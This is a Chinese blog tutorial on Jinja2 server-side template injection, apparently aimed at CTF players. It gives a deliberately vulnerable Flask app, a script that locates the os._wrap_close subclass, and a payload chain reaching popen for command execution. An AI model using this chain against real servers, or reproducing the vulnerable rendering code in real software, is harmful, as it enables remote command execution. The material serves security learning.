Gentle_knife's Studio.

傻子都能看懂的SSTI入门

Word count: 842Reading time: 3 min
2025/04/30
loading

https://xz.aliyun.com/news/3311#toc-1

https://xz.aliyun.com/t/9584#toc-32

https://chenlvtang.top/2021/03/31/SSTI%E8%BF%9B%E9%98%B6/

我常用的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask,request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name','CTFer<!--?name=CTFer')

t = Template("hello " + name)
return t.render()

if __name__ == "__main__":
app.run(host="0.0.0.0",port=10008)

#/?name={{7*7}} 会发现页面返回了49,代表着存在反模板渲染
#这里的渲染等同于在python中运算了print(7*7)
#{{}}中的操作会被打印出来
# 一般会用{%%}来替代,但是{%%}不会有回显,在没有数据时会报错
# 可以用{%print(7*7)%}来进行输出
# 你可以理解为,模板注入就是会对你传入的{{}}中的 “python代码” 进行执行 ,或者说是 解析你输入的表达式


#/?name=
1
2
3
4
5
6
7
8
9
10
11
/?name={{7*7}} 会发现页面返回了49,代表着存在反模板渲染

这里的渲染等同于在python中运算了print(7*7)

{{}}中的操作会被打印出来

一般会用`{%%}`来替代,但是`{%%}`不会有回显,在没有数据时会报错

可以用{%print(7*7)%}来进行输出

你可以理解为,模板注入就是会对你传入的{{}}中的 “python代码” 进行执行 ,或者说是 解析你输入的表达式

我们可以发现网络上大部分的payload都会利用”” ‘’ [] 来作为开头,我们来看看他在做什么

其实””,’’,[],都是一个对象,我们可以通过一些魔术函数来获取他们的类原型

例如这里,我们就获取了字符串的类原型,我们的目的是获取基类Object,至于为什么需要获取他后需在说

我们可以利用一些魔术方法

1
2
3
__base__ //返回类的父类

__mro__//获取继承类的数组

使用任意一个即可

好的我们获取到基类了,接下来我们可以列出来所有的类,使用一个魔术函数

1
print("".__class__.__base__.__subclasses__())

其中有一个类叫做 os._wrap_close,我们要去看看他其中的方法,这里返回的是一个数组,所以需要知道这个属性的下标是什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import json

classes="""
#把列表放在这
"""
num=0
alllist=[]
result=""
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
if "<class 'os._wrap_close'>" in v:
print(str(k)+"--->"+v)
# <class 'os._wrap_close'> 执行命令
# <class 'warnings.catch_warnings'> 执行命令
# <class '_frozen_importlib.BuiltinImporter'> 读取文件
# <class '_frozen_importlib_external.FileLoader'> 读取文件

在154,那么我们选用这个类,利用魔术函数__init__进行初始化,使用__globals__去获取他的变量属性及函数

1
print("".__class__.__base__.__subclasses__()[154].__init__.__globals__)

popen是一个可以执行命令的函数 system.popen,他这里是一个元组的类型,我们选用该函数

1
print("".__class__.__base__.__subclasses__()[154].__init__.__globals__["popen"])

然后我们使用该函数

如果需要读取回显,在后面加一个read

CATALOG